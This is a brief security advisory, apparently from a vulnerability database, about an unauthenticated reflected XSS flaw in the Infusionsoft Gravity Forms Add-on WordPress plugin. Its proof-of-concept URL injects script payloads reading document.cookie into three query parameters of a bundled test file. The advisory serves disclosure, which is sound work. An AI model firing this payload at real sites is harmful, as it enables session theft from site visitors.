The Infusionsoft Gravity Forms Add-on WordPress plugin was affected by an Unauthenticated Reflected XSS security vulnerability.
http://127.0.0.1/wp-content/plugins/infusionsoft/Infusionsoft/tests/notAuto_test_ContactService_pauseCampaign.php?go=go%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&contactId=contactId%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&campaignId=campaignId%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&